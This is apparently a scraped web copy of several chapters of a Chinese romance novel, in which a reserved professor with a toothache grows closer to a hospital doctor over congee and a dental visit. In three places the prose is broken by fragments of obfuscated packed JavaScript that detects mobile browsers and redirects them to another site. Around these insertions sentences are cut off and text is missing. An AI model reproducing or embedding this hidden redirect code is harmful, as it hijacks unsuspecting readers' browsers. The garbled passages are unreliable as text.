昨晚从医院回去他就没怎么睡。开着一盏床头灯,睁着眼睛一直到天亮。 口齿间一丝丝疼痛将他紧紧缠绕,严丝合缝,无法摆脱,他根本就睡不着。 越强迫自己睡,思绪就越是清明。尘封已久的记忆宛如潮水汹涌而至,难以遏制。 那几个小时的煎熬,让他的情绪到达了奔溃的边缘。 没睡好,眼底乌青,遍布血丝。 今天上午这堂课是汉语言文学专业的必修课。他到的时候,偌大的教室已经坐满了学生。 他直接走上讲台,打开笔记本电脑连上投影仪,清了清嗓子开口:“先上课,下课前五分钟点名。” 底下的学生毫无异议,因为早就熟悉了贺清时的这种上课模式。翻书的翻书,玩手机的继续玩手机,埋头睡觉的依旧睡觉。 大学课堂,无论授课的老师有多帅,讲课讲得有多好,总会有一部分学生是去打酱油的。 学生们都知道,A大文学院的贺清时教授,做事一板一眼,出了名的严谨刻板。他说下课前五分钟点名,就一定会掐点点名,压根儿不会存在忘记的情况。所以想早退的学生也都只能把小心思掐点,规规矩矩地坐在教室里上课。 贺教授每堂课都爆满,很多其他专业的女生前去蹭课,大多都是冲他那张脸去的。很少有人会从头至尾听完。虽然贺教授的课生动有趣,引经据典,不似一般文学课那般枯燥。 借用他学生的话来讲就是:面对贺教授的那张脸就够心猿意马了,还听什么课啊! 倒是本班学生,他那张脸看得多了,多少免疫了,有一部分学生会好好听课。 今天这堂课讲的是苏轼的《江城子·乙卯正月二十日夜记梦》,此词是苏轼纪念妻子王弗所作。 十年生死两茫芒,不思量,自难忘。千里孤坟,无处话凄凉。 …… 看看,这词就够凄凉的了! 想来也是凑巧,苏缈离开迄今正好满十年。前不久贺清时刚回岑岭祭奠过她。 课程过去三分之二,自由提问时间。 3班的一个女生提问:“贺老师,我看过很多影视作品。本来携手同行的两个人,可其中一人突然离开了。剩下的那个人一味儿活在过去,不愿走出来,这样对吗?” 贺清时对3班的这个女生有点印象。女生叫江暖,是3班的学习委员,品学兼优,年年拿奖学金。 贺清时站在讲台桌旁,脊背挺直,肩线松弛。微垂着眼帘,眼神黯淡无光,难掩疲倦。 安静地听完江暖的提问,他不禁愣了愣神。这个问题像是问给他听的。 他抬手摁摁眉心,略作思考,轻声回答:“其实这种做法无关对错,只是个人的选择。有的人能够走出来,遇到下一个合适的人,又是一段锦绣良缘。也有一部分人终其一生都走不出来,孤独终老。” 中间他停顿了几秒,压了压满腹情绪。 随后再度开口:“我一直都跟你们说,这世上很少有真正的所谓的‘感同身受’。他人经历了什么,或者正在经历着什么,他选择做什么,不做什么,他的所思所想,所作所为,旁人并非真的能够切身体会。所以千万不要以你的观念和想法去揣测,或者道德绑架。只要他没有违背法律法规,没有被道德所谴责。当事人的选择,旁人无权干涉,更不好评判。所谓的‘为了你好’,更是要不得。” 江暖睁着一双漂亮的大眼睛,听得格外认真。女孩眼底的惊艳和崇拜流露无疑。 “谢谢贺老师。” “请坐。”贺清时抬抬手臂,“下一个问题。” 距离下课还有五分钟,这堂课戛然而止。男人迈开长腿走回讲台桌,翻出点名册,“点名!” 点完名,他关掉投影仪,公事公办的吩咐:“刚刚布置的作业最迟下周三之前完成,学委统一收好,发我邮箱。今天就先到这里,下课!” 他话音一落,学生便做鸟兽散。 昨夜失眠,牙齿又疼得厉害,一堂九十分钟的大课让他觉得有些吃力,身心俱疲。 他快速地收拾好东西,离开教室。 “贺老师……” “贺老师……” 在楼梯口,他听到有学生叫他。 他脚步一顿,转过身,看到江暖远远朝他跑了过来。 女孩手里拎着一袋东西,跑得很急。 “有事吗,江暖?” 江暖胸腔浮动,有些喘气。 “贺老师……”她将那袋东西往贺清时跟前一提,小心翼翼地说:“这是我妈妈自己晒的葛片,泡水喝特别降火,您拿回去试试,我看您牙疼也有好几天了。” 贺清时注视那只小小的纸袋,眯了眯眼,没伸手。 他的眼神慢慢变冷。 江暖心中忐忑,整个人也显得有些局促,紧张地握紧拳头。 刚才那几句话她已经打了无数遍腹稿,反复演练。可惜一对上贺清时,脑子一片空白,话说得磕磕绊绊的。 贺清时半晌不出声,江暖越发不安,“贺老师,您别误会,我就是看您牙疼……这个东西不值钱……可真挺管用的……你不妨试试看……” 语无伦次,话越来越小声,最后消了音。 “谢谢你江暖。”贺清时礼貌客气,可态度却极其冷淡,“我牙疼不碍事的,过两天就好了,谢谢你的关心。” 说完不再停留,直接抬步下楼。 或许这么做有些不近人情,可这年头师生关系敏感,不得不慎重。 女孩僵在原地,气血翻涌,脸色涨红,像是煮熟的大虾。羞耻心自心底升起,快速蔓延全身,她攥紧手中的纸袋,指节青白。 —— 从主教楼离开,贺清时没回办公室,而是开车前去第一医院。 时值中午,产科楼住院部大厅依旧人来人往,人潮如织。 他乘电梯去了16楼。 他到的时候,霍初雪也在病房。 她身上的白大褂干净整洁,纤尘不染。露出里面浅色条纹衬衫的衣领,领口处留了两颗扣子没扣,白皙的锁骨凹进去,好似一樽盛酒的酒盏。 难怪说白大褂神圣,一穿上这身衣服,她永远神采奕奕,精神抖擞,全身上下总有使不完的劲儿。 霍初雪是例行过来察看,每天三次。张淑兰的情况毕竟特殊,产后的各项指标主管医生都需要严密关注。 她也是刚到病房没多久,贵叔正在喂张淑兰喝粥。 手术结束到现在,张淑兰已经排气,可以吃一些流质食物。 张淑兰产后恢复得不错,面色红润,贵叔将她照顾得很好。 夫妻俩一看到贺清时,张淑兰忙支起身体,“清时,你来了啊!吃饭了没?” 贵叔赶紧退到一旁给他搬凳子。 贺清时说:“我刚下课,过来看看您。您今天感觉怎么样啊?” 张淑兰:“我挺好的,除了刀口有些疼,别的都好。霍医生很尽职,一天过来好几次。” 贺清时没坐,依旧站着,看向霍初雪,面露感激,“辛苦霍医生了!” 霍初雪柔柔一笑,淡声道:“贺先生不必谢我,职责所在。” 她环视病房,“孩子呢?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487859|170113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 张淑兰回答:“护士抱去洗澡了。” 几人在病房里闲聊几句,霍初雪随后便说:“有什么问题让护士通知我,我先去吃饭了。” 张淑兰一听格外震惊,“霍医生还没有吃饭呐?” 霍初雪笑着说:“早上科里有点忙,还没顾得上,这就去吃饭。” 张淑兰提议:“要不我让阿贵出去买几个菜,霍医生在这儿和我们一起吃吧?” “张阿姨,不用麻烦了,我去医院食堂吃,很方便的。” 她自然不会同意的,医患之前的界限需要严格把控。 贺清时双手插.着裤兜,身姿挺拔,在偌大的病房显得格外突兀。 他不自觉扶住右边脸颊,咬字不清,慢声征询:“我正好也没吃中饭,霍医生不如一起?” 于情于理霍初雪就不该同意。可不知为何,面对贺清时的提议,她竟然拒绝不了。 “好啊,上次在岑岭叨扰了贺先生,我这心里一直过意不去,总想找个机会好好感谢你。相请不如偶遇,今天刚刚好。”鬼使神差就给答应了。 这些话霍初雪自己听着都觉得心虚。 贺清时分出眼神看她,“霍医生,你是不是要去换下衣服?” 霍初雪垂下眼皮,余光往自己身上扫了扫,“麻烦贺先生在一楼等我,我回去换身衣服。” —— 从病房离开,霍初雪以最快的的速度回更衣室换衣服。 经过护士站时,乔圣晞和林瑶她们正在聊天。 乔圣晞扬起声线问:“小雪,吃饭了吗?” 霍医生脚底生风,走路很急,“还没呢!” 乔圣晞:“那正好,我也没吃,咱俩一起。” “西西你自己吃,我约了朋友。”她头也没回一下。 乔圣晞:“……” 乔护士的大嗓门追过去,“谁啊?” 石沉大海,了无回音。 女人身形一拐,穿过走廊,只留给乔圣晞一节白影。 “什么朋友呐,走得这么急!”乔护士不禁发出灵魂拷问。 不好让人家等,霍初雪以最快的速度换好衣服,更以最快的速度跑下楼去和贺清时碰面。 他在住院部一楼等她。 她乘电梯到一楼。 午高峰,电梯里一大群人,几个相熟的医生碰到她都一一和她打招呼。 绕过住院部大厅,霍初雪老远就看到男人伟岸沉峻的身形。 他今天穿了件藏青色的西服,同色的西装裤,背影修长挺拔,在人来人往的医院门口显得格外扎眼。她几乎一眼就看到他了。 就是有这样一类人,自带焦点,哪怕置身人潮人海,他照样可以脱颖而出。 每次看到这个男人的背影,霍初雪都觉得格外落寞。 她慢慢放下脚步,伸手理了理头发,又低头扯了扯衣摆。确认自己并无不妥之后,她这才慢慢走向他。 人生一世,草木一寸。有人心如荒野,凛风不歇。她注定要迈过荆棘,趟过荒芜,让花成花,让树成树。 “让你久等了,贺先生。”女人适时出现在贺清时身侧,携来一道轻柔干净的声线。 像是有人在他颈边吹了口气,耳后的绒毛瞬间炸开。 他有一瞬间的不适。 他偏头看向对方,“几分钟而已。” “那我们走吧。” “好。” “这一带我不太熟,霍医生你来定餐厅。” “贺先生你牙疼,不如去喝粥如何?我们医院附近有家粥店很不错。”霍初雪直直望着他,眼神温柔,眼尾透着光。 8. 第7棵树 第7棵树 “嗯?” 贺清时的眼底迅速掠过几丝讶色,他没想到霍初雪早已看出他的牙齿正在遭罪。 “我听你讲话听出来的。”女人的一双眼睛弯成月牙,笑意无声绽放。 这人讲话一直有些含糊,右边脸颊明显肿了。他还时不时伸手去摸脸,不是牙疼又是什么呢! 霍初雪不提牙疼这茬还好,她现在一提,贺清时分明感觉到自己的牙床隐隐作痛,连嘴都有些张不开。 他下意识去扶住右边脸颊,语气似有几分无奈,“上周院里同事聚餐,大家伙吃了顿火锅,有些上火了。霍医生不用照顾我,我无所谓的,随你的口味就好。” “真的啊?”霍初雪双眼微眯,笑容狡黠,像只俏皮灵动黑狐狸,“那我们去吃火锅吧!” 贺清时:“……” 男人倏然一愣,显然是没想到霍初雪这么直接。 不过话已出口,覆水难收,他只能咬牙应下:“没问题。” 牵扯了一下嘴角,整张脸开始抽疼,两道英气的眉毛拧得更死。 霍初雪见贺清时忍痛答应下来,颇有一副英勇就义的悲壮,她实在没忍住掩面而笑。 “我开玩笑的,咱们喝粥去。” 贺清时:“……” 让一位牙疼病患陪自己去吃火锅,她可做不出这种不顾别人死活的事儿。她就是想逗逗贺清时,开心一下。 贺清时被霍初这跳脱的思维弄得有些懵,沉默半晌才开口:“那就喝粥吧。” 吃什么对他来说根本不重要,横竖不过是还她一个人情。 “我来带路。”两人并排往医院门口那条川流不息的马路走去。 三月,经历了一整个漫长煎熬的寒冬,万物复苏。路旁的梧桐树开始吐绿,冒出了点点细芽,展现出生命延续的勃勃生机。 春生来得无声无息,又无处不在。 看到这些梧桐树,霍初雪不由自主地想到了贺清时岑岭别墅的那棵枇杷树。 “贺先生,你上次送给我的枇杷,我自己尝了点,给我妈妈留了一半,她很喜欢,今年的枇杷很甜呢!” 两人沿着宽阔的大马路不紧不慢地走着,她率先打开了话匣子。 越来越觉得自己脸皮厚了,睁眼说瞎话的本事练就得如火纯情,心态不要太好哦! 事实上,那些枇杷全部进了她的肚子,母亲一个都没尝到。 “今年的枇杷确实长势不错,个头大,味道也好。贵叔前两天刚给我送了一箱,家里还有很多。阿姨若是喜欢,改日我再给你拿一些,你带回去给阿姨吃。” “这样不好吧?”霍初雪故作迟疑,“会不会夺人所爱了?” “霍医生言重了,每年家里结的枇杷也都是分给亲戚朋友的,我自己很少吃。” “你不喜欢吃枇杷吗?” “我怕酸。” 听贺清时这么说,霍初雪觉得自己没必要再矜持了。 “那我就先替我妈妈谢谢贺先生了。” 她扎着松散的低马尾,露出饱满的额头,没化妆,素着一张脸。板正的一字眉,眼睛又大又圆,眼窝里溢出笑,像极了阳光底下炸开的冰凌花。 她的笑容总是很纯粹,没什么心思,带着一股子直来直去的天然。 和她的为人一样。 这样的女孩从来不缺爱和勇气。 贺清时扪心自问,他有多久没有这么笑过了? 男人的思绪短暂飘散了数秒,他迅速拽回来,定住心神,不急不缓道:“我才应该感谢霍医生,你这么关照兰姨。” “我之前就说过了,这是职责所在,换成别的病人我也会一视同仁的。”霍初雪倒是丝毫不揽功劳,一副公事公办的样子。 话虽如此,可他的的确确承了她的人情。 —— 霍初雪带贺清时去的那家粥店名叫“一粥一饭”,是青陵的一家老字号,祖上三代坚守,以制作特色粥而出名,旗下的分店遍布整个青陵。 贺清时同为青陵本地人,自然知道这家粥店。 正是饭点,店里生意火爆,食客众多。独立包厢早已被预定完毕,只有大堂还留着位置。 两人的运气还算不错,大堂刚空出了一张靠窗的桌子。 阳春三月,天朗气清,天蓝得格外有密度,寻不见一丝杂质。偶有几朵棉花云从眼前飘过,一晃而逝。 窗台处摆了一排盆栽,都是常见的绿叶植物。绣球和富贵竹稀松平常,当数吊兰长势最猛,也最惹眼。 这些小东西枝叶扶疏,挺直枝条,奋力汲取阳光,一片绿意盎然。 隔着一层透明的玻璃,明媚的日光大把大把抖落进来,悉数映照在男人身上,他整个人被日光包裹,身上藏青色的西服成功沾染上了太阳的温度。 恍惚之间,霍初雪生出了某种错觉,好像这富有暖意的阳光褪去了贺清时身上清冷寡淡的气质。 事实上,她很清楚人心是照不暖的。 那颗心犹如枯木一般,腐朽颓败,纵使阳光雨露充足,只要他不想,它就不可能破芽抽绿。 贺清时坐在霍初雪对面,坐姿中规中矩,很正式,也很古板,是典型的面见领导的坐姿,有些老派和生硬。哪里有她来得随意。 她不禁想起之前在A大贴吧看到的帖子,不止一个学生跟帖说贺清时古板老派。如今看来网友诚不欺她。这个男人举手投足间无不流露出旧时文人刻板守旧的作风。不像是生活在二十一世纪的人民教师,更像是古时长袍马褂的教书匠。 只见他双手交握,放在桌面上,手背清俊有力,手指白皙修长,骨节分明,微微露出白衬衫一小撮袖口,干净又清爽。 霍初雪没看菜单,直接叫来服务员,“我要一份菠菜鸡丝粥。” 话音未落,她便抬头看向贺清时,“贺先生你牙疼,忌辛辣,还是点清淡一些的粥,紫薯粥、玉米粥、南瓜粥、虾米粥这几样都可以。” 她是店里的常客,菜单上的粥品她基本上都尝过了一遍,最是熟悉它们的口味。 男人的目光淡淡地扫向菜单,浏览一遍,立即决定:“那就来一份玉米火腿瘦肉粥。” 服务员快速记下,“好的,二位稍等。” 大堂的食客众多,嘈杂喧闹,熙熙攘攘的声音不断拢在耳畔。但到底是老字号,装修古朴雅致,古色古香。店内干净整洁,陈设规整。除了有点吵,别的倒也还好。 贺清时的性子使然,一贯不喜欢喧嚣吵闹的环境。不过此刻倒也能够接受。 目光在店内逡巡一圈,随后收回。他觉得有些不好意思,“还要霍医生你来照顾我的饮食。” “没关系啊!”霍初雪毫不在意,扬起笑容,心情愉悦,“我是这家店的常客,他们家的鸡丝粥简直绝了,是我的最爱。” 听霍初雪这样说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍初雪觉得贺清时这声“好的”回答的巨艰难,他难道听不出这是客套话么? 这顿饭她没什么目的,单纯只是想感谢上次在岑岭自己叨扰了人家。 两人一同回医院。 走到产科楼住院部门口,贺清时同霍初雪道别:“再见霍医生。” 霍初雪脚步一顿,下意识问他:“你不去看看孩子吗?这会儿应该抱回病房了。” 听到孩子,贺清时心尖一颤,不自觉握紧了拳头。 他抬起手臂,假装看了下手表,“不了,下午学校还有课,时间不够。” “好吧。”霍初雪表示理解,“工作重要,贺先生再见。” “霍医生!”贺清时适时叫住她,从西装裤的口袋里摸出手机,“能留个号码吗?下次请你吃饭。” 他这个人一贯不喜欢欠人人情,该还的还是要找机会还了。他虽然刻板,直来直去,但也并非不懂人情世故,有些事情还是分清楚更好。 “可以。”霍初雪不懂贺清时心里那点计量,她非常爽快,当即取出手机,“你加我微信吧。” 贺清时静静看着她,轻轻抬了抬眼,慢悠悠道:“我不用微信。” 霍初雪:“……” 9. 第8棵树 第8棵树 牙疼不是病,疼起来要人命。贺清时算是身体力行,深切地体会到了。 最近两天,牙疼不见好转,反而愈演愈烈。锥心蚀骨的疼痛丝丝缕缕,将他严实合缝缠绕,难以挣脱。眼下这种情况,容不得他不去医院。 其实贺清时骨子里有些忌医,不喜欢去医院。平日里这些小毛病吃药能够解决,他一般都不会去医院。 但这次牙疼来势汹汹,容不得他当胆小鬼。 周五上午,他手头没课,抽出半天时间去第一医院挂了口腔科,打算看完牙顺道去看看兰姨和孩子。 三甲医院的口腔科一向人满为患,无论什么时候过去都爆满。贺清时没挂到专家号,干脆挂了个普通号。反正他这个也不是什么大毛病,普通医生也能看。 挂完号,他安静地坐在候诊区的椅子上等叫号。 “贺先生?”一个温柔的女声自耳旁响起,猝不及防地横.插进来,打破了一室喧闹。 贺清时抬了抬厚重的眼皮,忙从椅子上站起来,面露意外,“霍医生。” 霍初雪一身白大褂,身形纤柔又高挑。既有女医生的冷静自持,又有年轻女孩子的张扬明媚。 她眼尖,一下子就看到他手里的挂号单,出声询问:“贺先生来看牙啊?” 贺清时压下脑袋,坦言:“是啊,牙疼得厉害,不看不行。” 霍初雪抬头看了眼报号显示屏,上面有贺清时的名字,他挂的是普通号,已经快轮到他了。 “你没挂到专家号?” “没提前预约,今天的专家号已经满了。” 三甲医院的专家号历来紧俏,贺清时临时过来挂号铁定挂不到专家号。 她抬了抬下巴,语气自然,“我正好过来找周医生有点事情,我带你过去。” “周医生?”贺清时面露疑惑。 她压低声音解释:“口腔内科的专家周末医生,是我发小,我让他给你开个后门。” 贺清时:“……” 男人神色一僵,迟疑道:“这样不好吧?还是不麻烦霍医生了。” 霍初雪理了理白大褂袖口,不甚在意,“没什么不好的,都是熟人,横竖就是一句话的事儿。” 贺清时:“……” 霍初雪这话说得格外熟稔,好像他们已经认识很久了。 她也不容他拒绝,径直将他带去226诊室。 独立的诊室,一个年轻的男医生端坐在电脑后面,正在敲键盘,声响清脆。 他蓄着一头乌黑干净的短发,戴医用口罩,无从看到面容。 霍初雪迎面就开口:“老周,找你帮个忙!” 诊室里除了周末,还有一个小护士。 小护士扎着丸子头,包子脸,憨厚可爱。看到霍初雪,她扬起甜美的笑容,眉眼弯弯,“霍医生好!” 霍初雪微微一笑,心情很好,“你好小齐。” 周末刚刚送走了一个病人,此刻偌大的诊室显得尤为空荡。 都是自己人,开门见山就行。 周末从电脑上剥离掉视线,言简意赅,“有事就说。” 她抬手指了指一旁的贺清时,“这是我朋友,今早没挂到你的号,你给看看呗。” 周末掀起眼皮懒洋洋地看了贺清时一眼,眼里闪过一丝惊诧,不过转瞬而逝,不露声色。 “可以,交给我吧。”他很好说话,当场答应下来。 “改天请你吃饭。”霍初雪会心一笑,“还有一件事,我妈这两天也牙疼得厉害。昨天打电话给我,让我来找你开点药。” 周末下意识拧起眉毛,“谢阿姨又牙疼了?” “可不是么,那两颗蛀牙让她拔掉,她偏不拔,隔三差五就遭罪。”霍初雪的语气颇为无奈。 周末:“你还是抽时间让她来医院拔掉吧,牙床都蛀空了,越拖越遭罪。” “我回头劝劝她吧,老太太犟得很,怕拔牙。” “你先回科里,我等手头的事儿忙完了再给谢阿姨开药。” “那我下班来找你拿。” “不必跑一趟了,我晚上要和依依回我爸妈家吃饭,顺道给谢阿姨送过去。” “别!”霍初雪一听,全身都在拒绝,“你千万别送过去,我妈看到你和邹依,回头又该念叨我了。为图耳根子清净,我还是自己给我妈送回去吧。” 周末:“……” 闻言,周末只好说:“那你下班找我拿。” “没问题。”霍初雪看向贺清时,“那我这朋友就麻烦你了。” “多大点事,客气什么!”周末全然没放在心上,轻抬眼皮,“跟你说件事,下个礼拜天3班的几个老同学打算组个同学会聚聚,你和西西要去吗?” “高中3班?”霍初雪的脸上顿时浮现出一抹惊讶神色,“我怎么都没听说?” “班长他们没通知你吗?” “没有啊!”迄今为止她和乔圣晞没收到任何通知。 “那估计还没来得及通知你们。” 霍初雪挑了挑眉,“听你这口气你和邹依是打算去的?” 周末:“依依让我来问问你和西西要不要去。你们要是不去我俩也就不去了。这么多年没见,那些同学指不定变成什么样了,你俩不去,我俩过去了也不知道和谁说话,怪尴尬的。再说你也知道,我一向不喜欢这种聚会。” 霍初雪想了想也是。 “我回去问问西西再给你答复,这种同学聚会可去可不去,到时候再说吧。” 现如今同学聚会都成了变相的“炫富会”。混得好的夸夸其谈,恨不得让全天下都知道他有钱。混得不好的,一般连面都不露一下。霍初雪和乔圣晞之前也去参加过两场初中和大学的同学聚会。到场的同班同学都不到三分之二。一两个小时下来尽听那些人各种装逼、吹嘘,一点意思都没有。 两人简单聊了两句,霍初雪对贺清时说:“贺先生,你就在这里等着,科里还有事儿,我就先回去了。” 贺清时面露感激,“麻烦霍医生了。” 霍初雪离开诊室没过多久,周末敲好键盘,保存好患者资料。从椅子上站起来,礼貌妥帖,“请坐,挂号单给我。” 贺清时依言往周末对面坐下,将手里的挂号单递给他。 周末看了一眼上面的名字,顺手放在办公桌一角,清隽面容藏在医用口罩之下,浮出几丝笑意,“贺先生这名字好熟悉,我感觉好像在哪里听过。” “是么?”贺清时抬了抬眼,不甚在意的模样,“想必应该是周医生之前碰到过和我同名同姓的病人吧。” “可能是吧。”周末一天看那么多个病人,遇到一两个同名同姓的病人再正常不过了。 周末温声询问:“贺先生哪里不舒服?” 贺清时扶住右边脸颊,气若游丝,“牙疼得厉害。” *** 这边霍初雪回到办公室,她立马就和乔圣晞说了3班同学聚会的事儿。 她原本以为闺蜜对这种同学聚会没兴趣的。没想到对方一拍大腿,当即就说:“去啊,当然要去了!快十年没见面了,我可得去看看咱们班那些老同学如今谁混得最好。” 霍初雪:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15487861|170113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍初雪站在办公桌后面,正慢腾腾地给自己泡菊花茶。 继承了母亲的喜好,她总是喜欢泡各种各样的花茶喝。 菊花在热水的浇注下,清香慢慢铺散开,水汽蒸腾而上。浅黄色的花瓣在茶水里漂浮,渐渐的就沉到了杯底。 听到乔圣晞这话,霍初雪动作一顿,忍不住出声提醒:“乔护士,别忘了你可是已婚少女。” 乔圣晞语气悠悠,“我是已婚少女没错,可你不是啊!趁着这次同学聚会,搞定一个有钱有势的老同学,多划算啊!” 霍初雪:“……” 这如意算盘打的,霍初雪都无力吐槽。 她倚靠在办公桌桌沿,手里端着杯菊花茶在慢慢地喝。屈起一条长腿,姿态有些散漫慵懒。 她啜了一小口,温声细语的,“说实话这种同学聚会我真不想去,这么多年没联系,谁都不认识,又说不上话,没意思得很!” 乔圣晞却不容她拒绝,沉声说:“小雪,这次咱们必须去,我可要看看那位邹依小姐打算怎么出风头。” 霍初雪:“……” *** 贺清时的情况不算严重,牙龈发炎,周末给他配了药。 周末从打印机处拿了单子递给贺清时,“贺先生先去缴费,再到药房取药,最近几天遵医嘱,饮食尽量清淡,忌辛辣,注意口腔卫生。” 他抬手接过单子,“谢谢周医生。” 周末微微一笑,“你是小雪的朋友,不用客气。” 贺清时不禁怔了怔,一言不合又承了霍初雪的人情。 他拿上单子,转身走出诊室。 诊室门合上的最后一秒,里面传出小护士细细小小的嗓音,“周医生,说起来这还是霍医生第一次往你这塞人呢。刚那人不会是霍医生男朋友吧?长得可真好看呀!” 周末敲了敲桌面,冷声打断:“八卦什么呢!那位先生都三十七岁了,霍医生怎么可能找个年纪这么大的男朋友……” —— 看完牙,已经临近中午,外头的日头明晃晃映照着大地,暖意融融。 贺清时给霍初雪去了一条短信。 「谢谢霍医生,改日答谢。」 霍初雪应该是在忙,并没有立即回复他。 兰姨生孩子,今早看牙,从岑岭回来他就一直在承她的情。 他收起手机,然后直接去了产科住院部看望兰姨和孩子。 从孩子出生到现在,这还是贺清时第一次看到他。小小的婴儿被贵叔抱在怀里,小眼睛滴溜溜打转,似乎对一切都充满了好奇。 他看着孩子,难得笑了起来,“很可爱,长得和媛媛有点像。” 谁都喜欢孩子,他也喜欢,只是下意识会抗拒。 张淑兰远远注视着孩子,眼角眉梢都遍布笑意,温柔说话:“不是有点像,这孩子和媛媛小时候简直是一个模子里刻出来的。” 贺清时看到张淑兰这副表情也倍感欣慰。十年了,她终于从丧女的悲痛中彻底走出来了。 他抿嘴问:“叫什么名字?” 张淑兰:“杜今,今天的今。” 贺清时:“这名字不错。” 张淑兰靠在床头,眼神期待,“清时,你给孩子取个小名好不好呀?” 男人转头望向窗外,碧空万里,澄澈清明,大朵棉花云漂浮。恰有一只飞鸟扑棱着翅膀从眼前飞过,一闪而逝。 蓝天白云,岁月静好。 他注目一瞬,慢腾腾收回目光,沉缓出声:“就叫晴天好了。” 希望这个孩子的降生,能让兰姨一家雨过天晴。 10. 第9棵树 第9棵树 贺清时并未多做逗留,很快便离开了。 刚走到住院部大门口,手机发出滋滋震动声,有电话打进来。 屏幕上方黑体字闪烁,这个电话是霍初雪拨来的。 他不自觉停下脚步,手指划过屏幕,快速接通,“喂,霍医生?” “贺先生,你牙齿看得怎么样?”电话那头霍初雪也不知道在哪里,周边的环境好像很混乱,闹哄哄的,各种声音交织在一起,难以分辨。 怕她听不清楚,贺清时不自觉提高音量,“牙龈发炎,没大碍。” “你还在医院吗?” “嗯,刚去看了兰姨,正打算回去。” “午饭吃了吗?” 他实诚摇头,“没有。” 手机的另一端,年轻女子轻快愉悦的嗓音透过电流徐徐传过来,“我正好要去吃饭,贺先生一起吗?” 贺清时:“……” —— 霍初雪这句话问完,她明显察觉到那边的人陷入了某种沉默,周遭的空气似乎跟着一起凝滞了。 右手不自觉用力,她将手机握得更牢,机身有些许发热,紧紧贴着耳郭。 她慢吞吞地穿过住院部大厅,大厅里人来人往,喧闹嘈杂,各种声响交织在一起,像极了一锅沸腾冒泡的热粥。 很显然,她是别有用心。她那点小心思瞒不过眼睛毒辣的闺蜜,早就被看破了。 视线尽头,男人身陷人潮人海,挺括伟岸的身影分外惹眼。 时间静止,天地静默,各种声音在颅内回旋,化作没什么实质的白噪音。周围的一切皆成背景板,贺清时是中心,是焦点,她只能看见他。 霍初雪气血翻涌,心脏鼓噪难歇,胸口有小鹿乱撞,扑通扑通跳个不停。 时间不知道过去了多久,她终于听见男人略微低沉的嗓音,“好。” 简短的一个字,却无异于天籁之音。 她握住手机,没出息的笑了。 —— 贺清时的牙疼还没好,除了喝粥,别无他选。两人照旧前去那家老字号粥店一粥一饭。 市中心熙熙攘攘,车流穿梭不停,一刻不歇。 两人沿着人行道慢慢走。 早春微凉的风迎面拂来,带来丝丝春天的气息。 道路两旁梧桐树枝叶葱绿,阳光射向树梢,在地上留下一个个细小的光斑。一脚踩下去,光斑跳到白色鞋面上,灵动跳跃。 霍初雪像是找到了好玩的事儿,一路都专挑那些光斑踩。 贺清时注意到她的动作,觉得她未免有些孩子气。 冷静自持是一面,幼稚可爱是另一面。 可惜老天爷不愿成人之美,那顿饭最后还是没有吃成。科里同事临时一个电话打过来,霍初雪负责的病人术后出现了不良反应,她要赶紧回去处理。 两人都已经到粥店了,却偏偏吃不成这顿饭,她心中不免感到烦躁。奈何人命关天,一切都得让步。 接完电话,霍初雪面露歉意,“贺先生,真是抱歉,有个病人出了点问题,我现在必须赶回医院处理一下。今天这顿饭是吃不成了,咱们改天再约吧。” 贺清时深知医护人员的工作性质,医生职责所在,病人大于天。 他体贴地说:“病人要紧,霍医生先去忙,吃饭什么时候都可以。” 霍初雪看了眼粥店鎏金的招牌,扔下话:“那你自便。” 贺清时:“不用管我。” 她拔腿就跑,黑色马尾垂在脑后一晃一晃的。身上那件墨绿色的长款风衣也随着她紧凑矫健的步伐簌簌摆动,带起,落下,带起,又落下。 她是真的跑得很急,一路上都有些横冲直撞。看来她的病人病情不容乐观,不然也不会跑得这么急。 只希望她能顺利处理完毕。 贺清时一个人走进一粥一饭。 *** 病人的情况有些棘手,霍初雪处理完已经是两个小时以后了。 没吃午饭,肚子空荡荡,胃里隐隐作痛。当医生的,长一段,短一顿,就没按时吃过饭,十个医生九个有胃病。 她揉了揉扁平的小腹,拖着疲惫的身体一步一步往办公室走。 路过护士站时,值班的林瑶及时喊住她:“等等霍医生,有人给你送了吃的过来。” “吃的?”霍初雪皱了皱眉,当即停下脚步。 林瑶把外卖袋推到她面前,冲她眨巴两下眼睛,表情暧昧,“是一个帅哥让我转交给你的哦!” 她瞟到外卖袋上“一粥一饭”的标识,心里顿时就有数了。 没想到那人还挺细心的。 “霍医生,速速从实招来,你是不是有情况啊?”林瑶歪着脑袋,一副八卦兮兮的模样。 “谢辣!”霍初雪接过外卖袋子,高深一笑,“无可奉告!” 林瑶:“……” 提着外卖回到办公室,霍初雪赶紧拆开包装,一股浓郁的馨香扑面而来,盈满鼻息。她闻到了菠菜和鸡肉味儿。 竟然是她喜欢的菠菜鸡丝粥! 没想到他记住了她的喜好。 肚子正大闹空城计,馋虫彻底被勾出,一闻到那个味道她就坐不住了。 